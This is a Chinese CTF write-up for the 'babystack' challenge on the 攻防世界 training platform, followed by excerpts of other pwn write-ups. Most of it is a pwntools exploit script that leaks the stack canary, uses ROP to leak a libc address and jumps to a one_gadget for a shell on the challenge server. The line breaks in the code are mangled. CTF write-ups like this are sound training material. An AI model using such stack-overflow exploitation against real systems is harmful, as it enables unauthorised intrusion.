先看保護:
除了pie全開了。
開啟ida分析
因為有canary保護所以要想辦法洩露canary,回頭看那個棧溢位漏洞,發現可以利用先傳送0x88個a過去
後面會自動給你爆出canary,有了canary之後,就簡單了,所以思路就是:先利用棧溢位漏洞獲取canary,再利用拼接的方法將前面的填充補全之後就是rop了。這裡參考了一下別人的wp,用的one_gadget.
exp:
from pwn import
*#p = process("./babystack")
p = remote(
"111.198.29.45"
,43743
)context.log_level =
"debug"
libc = elf(
"./libc-2.23.so"
)elf = elf(
"./babystack"
)one_gadget =
0x45216
put_plt = elf.plt[
'puts'
]put_got = elf.got[
'puts'
]pop_ret =
0x0400a93
main_addr=
0x0400908
p.recvuntil(
">> "
)p.sendline(
"1")
pay =
"a"*
0x87
+"b"
p.sendline(pay)
p.recvuntil(
">> "
)p.sendline(
"2")
p.recvuntil(
"ab\n"
)a = p.recv(7)
cookie = u64(a.rjust(8,
"\x00"))
#p.interactive()
p.recvuntil(
">> "
)print
hex(cookie)
pay2 =
"a"*
0x88
+ p64(cookie)
+"a"*8
+ p64(pop_ret)
+ p64(put_got)
+ p64(put_plt)
+ p64(main_addr)
p.sendline(
"1")
p.sendline(pay2)
sleep(
0.5)
p.sendline(
"3")
p.recvuntil(
"\x3e\x20"
)a = p.recv(6)
put_addr = u64(a.ljust(8,
"\x00"))
print
hex(put_addr)
offset = put_addr - libc.symbols[
'puts'
]one_addr = one_gadget + offset
p.recvuntil(
">> "
)p.sendline(
"1")
pay3 =
"a"*
0x88
+ p64(cookie)
+"a"*8
+ p64(one_addr)
p.sendline(pay3)
p.interactive(
)
中間有些除錯過程是學長教的,確實學習了一波。
攻防世界PWN題解答
通過ida開啟程式,f5鍵生成c的 如下 int cdecl main int argc,const char ar const char envp ssize t vulnerable function 很明顯,vulnerable function的read函式有注入點,可以複寫vulnerab...
攻防世界 pwn 100
如上圖,這道題很簡單粗暴,直接暴露溢位點,但是需要注意的是,每次輸入讀200!這點下面會有坑。思路 利用rop洩露出read的位址,利用libsearch獲得system和 bin sh的位址。這些都是常規流程。但是,有一點要注意,在傳送payload的時候,一定不能使用sendline或者send...
PWN系列 攻防世界pwn高階區welpwn分析
個人部落格位址 函式 也比較簡單。read那裡也不存溢位。都是0x400。緊接著呼叫了echo函式。在echo函式中,將大小為0x400的buf中的值複製給大小為0x10的s2,很明顯會造成溢位。唯一的問題就是,如果buf中含有 x00。會中斷迴圈。函式執行的整體流程就是,使用者輸入的字串會存放到b...